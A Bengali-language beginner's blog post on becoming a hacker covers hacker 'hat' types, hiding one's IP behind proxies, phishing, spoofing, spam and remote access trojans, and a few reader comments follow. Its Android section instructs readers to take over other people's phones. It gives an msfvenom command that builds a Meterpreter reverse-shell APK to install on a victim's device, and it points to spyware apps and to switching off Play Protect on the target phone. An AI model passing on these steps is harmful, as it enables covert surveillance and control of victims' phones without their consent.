জীবনের প্রথম কোথাও লিখছি ভুল  হলে মাফ করবেন।

হ্যাকার হতে হলে অবশ্যই আপনাকে প্রচুর ধৈর্যশীল হতে হবে।আর পরিশ্রমী হতে হবে আর তা না হলে এখনেই  স্কিপ করন। চলুন শুরু করা যাক।

 হ্যাকার হলো বাস্তব জগতের হিরো, তা হউক নায়ক কিংবা খলনায়ক তবুও হ্যাকার মানেই সিনেমাটিক সেলিব্রেটি কেউ একজন তাই আমাদের প্রায় সবার ভেতরেই হ্যাকার হওয়ার একটা তীব্র অথচ সুপ্ত আগ্রহ বিরাজমান।
আমার এই আর্টিকেলে আজ আমি হ্যাকিং এর শুরু হতে আপাত শেষ পর্যন্ত শেখানোর চেষ্টা করবো( যদিও জেনে রাখুন হ্যাকিং বিদ্যার শুরু আছে কিন্তু এর শেষ নেই) যেন লেখাটি পড়ার পর আপনি নিজে একজন হ্যাকার হতে না পারলেও নূন্যতম পড়া শেষে এতোটুকু স্যাটিসফাইড হতে পারবেন যে আপনি অন্তত হ্যাকিং বিষয়টা সাম্যক অবগত; আপনিও চাইলে হতে পারেন হার্ডহিটার হ্যাকার!!!

হ্যাকিং কি এবং হ্যাকার কে?
সোজাসাপ্টা ভাষায় হ্যাকিং অর্থ “চুরি” এবং যিনি চুরি করেন অর্থাৎ হ্যাকিং করেন তিনিই হলেন “হ্যাকার” তবে প্রচলিত সংজ্ঞা মতে “একজন হ্যাকার হলেন সেই ব্যক্তি যিনি কোন সিস্টেমের নিরাপত্তার দূর্বলতা খুজে তাতে অবৈধ অনুপ্রবেশ করেন” সেটা হতে পারে আপনার কম্পিউটার কিংবা আপনার ব্যাংক একাউন্ট তাতে তফাত নেই; হ্যাকিং জিনিসটা আজ সাইবার স্পেস হতে হিউম্যান সাইকোলজি এতোটা পর্যন্ত বিস্তৃত।
নৈতিকতার দিক থেকে হ্যাকার ৩ প্রকার যথা (১) White Hat Hacker বা সাদা টুপির হ্যাকার যারা মূলত হ্যাকিং বিদ্যার কোন অপব্যবহার করেন না, এদের ইথিক্যাল হ্যাকার বলা চলে। যদিও আজকের দিন ফ্রেশ মানুষই খুজে পাওয়া দায় তাই এমন হ্যাকার খুজে পাওয়া কঠিন বটে তথাপি প্রতিটি সাইবার সিকিউরিটি স্পেশালিষ্ট নিজেই একজন ইথিক্যাল হ্যাকার এমনটা ভাবা দোষনীয় নয় (২) Grey Hat Hacker বা ধূষর টুপির হ্যাকার যারা দ্বৈত চরিত্রের অধিকারী অর্থাৎ এরা চাইলে হ্যাকিং বিদ্যা ভালো কাজেও লাগাতে পারে আর খারাপ কাজেও লাগাতে পারে (৩) Black Hat Hacker বা কালো টুপির হ্যাকার তারাই যারা হ্যাকিং বিদ্যাটার অপব্যবহার করেন।

 

★ অ্যানেনিমাস হউন:
অ্যানোনিমাস অর্থ আগুন্তুক; মূলত ইন্টারনেট জগতে নিজেকে লুকায়িত করার নামই হলো অ্যানেনিমাস হওয়া। অ্যানেনিমাস মানেই একটা মাস্ক মুখে পড়লেন আর নিজেকে অ্যানোনিমাস হ্যাকার দাবী করলেন এমনটা নয় বরং একজন হ্যাকার স্বইচ্ছাতে/নিজের সুরক্ষাতে নিজেকে আড়াল করার জন্য অ্যানোনিমাস হওয়া পছন্দ করেন।
সবার আগে আপনাকে নিজের আইপি এড্রেস লুকাতে হবে তার জন্য প্রক্সি ব্যবহার করতে পারেন।
মূলত আপনি যখন Google ব্যবহার করেন তখন এমনভাবে তথ্য আদানপ্রদান করা হয় আপনার কম্পিউটার> গুগল সার্ভার> আপনার কম্পিউটার ; তাই এখানে আপনার আইপি এড্রেস সহজেই সনাক্ত করা সম্ভব। কিন্তু আপনি যদি প্রক্সি ব্যবহার করেন এবে তথ্য আদান প্রদান হয় এরূপে আপনার কম্পিউটার > প্রক্সি> গুগল সার্ভার > প্রক্সি > আপনার কম্পিউটার যেখানে আপনার আইডিয়েন্টিফিকেশন ঐ প্রক্সি দ্বারা লুকায়িত থাকে।
প্রক্সি ব্যবহার করতে গুগলে গিয়ে লিখুন free proxy server এরপর সার্চ রেজাল্ট হতে একটি আইপি এড্রেস এবং পোর্ট সংগ্রহ করুন এরপর পিসির ইন্টারনেট এক্সপ্লোরে গিয়ে tools>internet option>connection>lan setting>proxy server> দুটি বক্সে টিক মার্ক দিন এবং বাকি দুটি ঘরে আইপি এড্রেস ও সংশ্লিষ্ট পোর্ট লিখুন > আপনার প্রক্সি নেওয়া সম্পন্ন হয়েছে।
মজিলা ফায়ারফক্সের ক্ষেত্রে tools>options>advanced>network>settings> আইেপি এবং পোর্ট বসান> ok
যদি আপনি এনড্রেয়েডে প্রক্সি নিতে চান তবে গুগলে বহু ফ্রি এবং পেইড VPN পাবেন যা হতে আপনি নিজেকে আড়াল করতে পারেন। আবার অনলাইন প্রক্সি হিসেবে http://www.hidemyass.com/ , https://proxybrowser.xyz/, https://hide.me, http://proxurf.com/, https://kproxy.com/ ওয়েবসাইটগুলো প্রক্সি টুলস হিসেবেও ব্যবহার করতে পারেন।

★ ফিশিংঃ ফিশিং এক ধরনের প্রতারণা। কোন ওয়েবসাইট এর লগইন পেইজ কে নকল করে একটি ফেইক পেজ তৈরি করাই ফিশিং সাইট। সেই ফিশিং সাইট এর লিংক হ্যাকাররা কাওকে দিল আর কেউ নিজের আইডি পাসওয়ার্ড দিয়ে লগইন করার চেষ্টা করলে লগইন ডেটা গুলো হ্যাকার পেয়ে যায়।

স্পুফিং ও স্নিফিংঃ স্পুফিং এক ধরনের প্রতারণা। এ প্রকৃিয়ায় হ্যাকার কাউকে কোন কিছু পাঠায় প্রেরক ঠিকানা মডিফাই করে। ফলে যাকে পাঠানো হয় সে বুঝতে পারে না যে এটি নকল। সাধারনত নিজেকে আড়াল করতে এই কাজ করা হয়।
ধরি, হ্যাকার কোন বিশ্বস্ত প্রতিষ্ঠানের মেইল ঠিকানা নিয়ে আপনাকে আকর্ষণীয় কোন অফার দিয়ে মেইল করে তাহলে আপনি সেই ফাঁদে পড়ে যাবেন।
বিভিন্ন ভাবে স্পুফ করা হয়। যেমন- Caller ID spoofing, IP spoofing, E-mail spoofing, MAC Spoofing ইত্যাদি।
অন্যদিকে ট্রান্সমিশন লাইন দিয়ে তথ্য যাবার সময় তথ্য কে তুলে নেওয়ার পদ্ধতি হলো স্নিফিং।

 

★ স্প্যামিংঃ

অনাকাঙ্ক্ষিত বাক্য মেসেজসমূহে ব্যাপক ভাবে প্রেরণে ইলেকট্রনিক মেসেজিং সিস্টেম এর ব্যাবহার হলো স্প্যাম একজন হ্যাকার অনেক সময়ই ভিক্টিম কে বিপদে ফেলতে স্প্যামিং করে থাকে

 

★ RAT (Remote Administration Tool) হলো এমন একটা ভাইরাস যা ইদুরের মতো যেকোন কম্পিউটারের প্রবেশ করে তার যাবতীয় এক্সেস নিতে সক্ষম যেন পিসির ক্যামেরা বা স্কিন কচাপচারিং,ফাইল এক্সেস বা এনালাইসিস করা,শেল আপলোডিং, পিসি কনট্রোল ইত্যাদি উদাহরণস্বরূপ ট্রোজান হর্স ভাইরাস কোন ফাইল ডাউনলোড/আপলোড/ডিলিট বা রিনেম করা,ড্রাইভ ফরম্যাট করা,সিডি/ডিভিডি রোম অটো ওপেন করা,পিসিতে ভাইরাস বা ওয়ার্ম ছেড়ে দেয়া,কী-স্ট্রোক লগ বাইপাস করা,পাসওয়ার্ড বা ক্রোডিট কার্ড নাম্বার হ্যাক করা,ওয়েবসাইটের হোমপেজ হাইজ্যাক করা,অটো স্ক্রিন ক্যাপচার করা,টাস্কবারে অটো কোন টাস্ক রান/ডিলিট করা,ডেস্কটপ, টাস্কবার বা কোন ফাইল লুকিয়ে ফেলা
,কোন টেক্সট কমান্ডবিহীনভাবে প্রিন্ট করা,অটো সাউন্ড প্লে করা,মাউসের কার্সরের অস্বাভাবিক নড়াচড়া,সংযোগকৃত মাইক্রোফোনের সাউন্ড অটো রেকর্ড করা,ওয়েবক্যামের মাধ্যমে অটো ভিডিও রেকর্ডিং করা ইত্যাদি এক্টিভিটিতে পারদর্শী।
বিভিন্ন RAT এর মাঝে উল্লেখযোগ্য Shark ,Bifrost ,Bandook ,BO2K ,ProRAT ,SpyRAT,HackRAT ,Netbos ,Optixe ,AutoSpY ,Nclear ,Amituer , Bandk, Yuri RAT,Y3k RAT,slha RAT,Openx RAT,Poison Ivy RAT,Mosucker,SubSeven RAT,Nuclear RAT,NetBus RAT,ProRAT,megapanzer ,LanHelper ইত্যাদি।

 

★ এনড্রোয়েড হ্যাকিং:
অন্যের এনড্রোয়েড মোবাইল হ্যাক করার জন্য রিমেটিক এক্সেস পেতে https://web.airdroid.com/ ব্যবহার করতে পারেন( এমন অনেক সাইট আছে যেখান হতে আপনি অন্যের এনড্রোয়েড মোবাইল হ্যাক করার জন্য এমন রিমোটিক এক্সেস পেতে পারেন যেমন https://www.cerberusapp.com/ ইত্যাদি), আবার ইন্টারনেট কানেকশন ছাড়াই এনড্রোয়েড মোবাইল হ্যাক করতে Tickle My Phone এপ্স ব্যবহার করতে পারেন। আবার মেটাস্পলেয়ট প্লেলোড হতে $ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=port R > /sdcard/Hack.apk উক্ত কামান্ড ব্যবহার করে Hack.apk টি ভিক্টিম এনড্রোয়েডে ইনস্টল করে আপনি এক্সেস পেতে পারেন।
তাছাড়া আপনি www.FreeAndroidSpy.com এ গিয়ে একটা এ্যাপ নামাতে পারেন তবে একটা বিষয় যে সেখান থেকে নামাতে হলে unknown sources Allow করতে হবে পাশাপাশি Play Store এর Play Protect ও অফ করতে হবে তা না হলে ডাউনলোড করতে পারবেন না তথাপি ভিক্টিম এর ফোন এ ও একই কাজ করতে হবে
এমনি আরও আরও এনড্রোয়েড হ্যাকিং ট্রিক রয়েছে আপনারই শুধু একটু মাথা খাটিয়ে ইনভেনশনস করার ব্যাপার মাত্র; মনে রাখুন হ্যাকিং কখনো বই পুস্তকে লেখা থাকেনা বরং হ্যাকিং জন্ম নেয় বুদ্ধিমানের মাথাতে আ নৈতিকতা থাকে মনে তাইতো একজন ইথিক্যাল হ্যাকারই সত্যিকারের লীট হ্যাকার হওয়ার গৌরব অর্জন করার যোগ্যতা রাখেন।

সর্বপরি একটা কথা একজন সাধারণ মানুষের চাইতে একজন হ্যাকার দুই ধাপ এগিয়ে আছে।

নিজের চিন্তার জগত কে বড় করুন সবই ধরা দিবে।

সাইবার জগতে আমি একজন   তুচ্ছ মানব যতটা জানি ততটাই  উজার করে দেওয়ার চেষ্টা করবো।

ভালবাসা রইল

আল্লাহ হাফেজ

253 views

About Author (3)

Sk Nurislam Hossen
Author

একজন স্বাধীনচেতা সাইবার সৈনিক

4 thoughts on “হ্যাকিং এর হাতে খড়ি সাথে এক চিমটি জ্ঞান”

  1. দুঃখের সাথে জানাচ্ছি যে প্রথম পোষ্ট তাই অনেক টাই খারাপ হয়েছে
    এর পর থেকে ভালো করার আন্তরিক ভাবে চেষ্টা করব।

    1. Vi apni youtube a j video de sen seta dakhy ai tuku par se আপনি বিস্তারিত একটা ভিডিও দিলে আরো ভাল হতো বড় সম্পুর্ণ একটা বিষয় পোষ্ট এর ভিডিও দেন কি করে এক এক টা
      আলাদা করে দিব কি ভাবে এক লাইন পর পর স্কিন সট দিব বিস্তারিত জানান

Leave a Reply